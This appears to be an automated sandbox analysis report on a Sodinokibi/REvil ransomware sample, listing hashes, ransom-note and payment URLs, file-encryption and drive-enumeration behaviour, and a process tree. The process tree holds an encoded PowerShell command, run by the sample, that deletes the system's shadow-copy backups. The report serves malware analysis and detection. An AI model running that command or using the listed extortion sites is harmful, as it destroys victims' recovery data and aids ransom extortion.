Analysis
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max time kernel
194s -
max time network
194s -
platform
windows10_x64 -
resource
win10-en-20211208 -
submitted
30-01-2022 07:56
Static task
static1
Behavioral task
behavioral1
Sample
23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe
Resource
win10-en-20211208
General
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Target
23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe
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Size
165KB
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MD5
46357f434f7a6af45d039812360c5fb4
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SHA1
413637aa0d885aa3f35aef237d04c549d74b1d89
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SHA256
23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c
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SHA512
b48c571d0bc28eae58426eebee334baa49a78eb6f19a2efc31997233cd97caa914356657980222e0acf9eb982b45978ab103168c11f5a5964edce628816b3089
Malware Config
Extracted
C:\9q1zg6-readme.txt
sodinokibi
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/116A7C8FB1C82C25
http://decryptor.cc/116A7C8FB1C82C25
Signatures
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Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
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Modifies extensions of user files 4 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exedescription ioc process File opened for modification \??\c:\users\admin\pictures\ConvertToUnregister.tiff 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File renamed C:\Users\Admin\Pictures\ConvertToUnregister.tiff => \??\c:\users\admin\pictures\ConvertToUnregister.tiff.9q1zg6 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File renamed C:\Users\Admin\Pictures\LimitSet.png => \??\c:\users\admin\pictures\LimitSet.png.9q1zg6 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File renamed C:\Users\Admin\Pictures\UsePush.crw => \??\c:\users\admin\pictures\UsePush.crw.9q1zg6 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe -
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exedescription ioc process File opened (read-only) \??\X: 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened (read-only) \??\D: 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened (read-only) \??\J: 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened (read-only) \??\T: 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened (read-only) \??\V: 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened (read-only) \??\G: 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened (read-only) \??\I: 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened (read-only) \??\P: 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened (read-only) \??\S: 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened (read-only) \??\A: 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened (read-only) \??\E: 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened (read-only) \??\F: 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened (read-only) \??\U: 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened (read-only) \??\W: 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened (read-only) \??\Y: 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened (read-only) \??\H: 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened (read-only) \??\M: 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened (read-only) \??\R: 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened (read-only) \??\N: 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened (read-only) \??\O: 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened (read-only) \??\Q: 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened (read-only) \??\Z: 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened (read-only) \??\B: 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened (read-only) \??\K: 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened (read-only) \??\L: 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe -
Drops file in Program Files directory 16 IoCs
Processes:
23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exedescription ioc process File opened for modification \??\c:\program files\GroupJoin.temp 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened for modification \??\c:\program files\InstallConvert.bmp 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened for modification \??\c:\program files\OutRepair.vsdx 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened for modification \??\c:\program files\RedoConvertTo.txt 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened for modification \??\c:\program files\SendRequest.001 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened for modification \??\c:\program files\SubmitGrant.vsx 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File created \??\c:\program files\9q1zg6-readme.txt 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened for modification \??\c:\program files\AssertPing.dib 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened for modification \??\c:\program files\SubmitPop.aifc 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened for modification \??\c:\program files\CloseSubmit.xml 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened for modification \??\c:\program files\RedoConvertFrom.ttf 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File created \??\c:\program files (x86)\9q1zg6-readme.txt 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened for modification \??\c:\program files\CloseExport.emf 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened for modification \??\c:\program files\EditRead.jpeg 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened for modification \??\c:\program files\CompleteConnect.odp 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened for modification \??\c:\program files\CopyPing.mov 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe -
Suspicious behavior: EnumeratesProcesses 5 IoCs
Processes:
23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exepowershell.exepid process 852 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe 852 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe 640 powershell.exe 640 powershell.exe 640 powershell.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
Processes:
23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exepowershell.exevssvc.exedescription pid process Token: SeDebugPrivilege 852 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe Token: SeDebugPrivilege 640 powershell.exe Token: SeBackupPrivilege 812 vssvc.exe Token: SeRestorePrivilege 812 vssvc.exe Token: SeAuditPrivilege 812 vssvc.exe -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exedescription pid process target process PID 852 wrote to memory of 640 852 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe powershell.exe PID 852 wrote to memory of 640 852 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe powershell.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe"C:\Users\Admin\AppData\Local\Temp\23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe"1⤵
- Modifies extensions of user files
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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memory/640-119-0x000001FD65400000-0x000001FD65402000-memory.dmpFilesize
8KB
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memory/640-120-0x000001FD65403000-0x000001FD65405000-memory.dmpFilesize
8KB
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memory/640-121-0x000001FD65450000-0x000001FD65472000-memory.dmpFilesize
136KB
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memory/640-124-0x000001FD7DBD0000-0x000001FD7DC46000-memory.dmpFilesize
472KB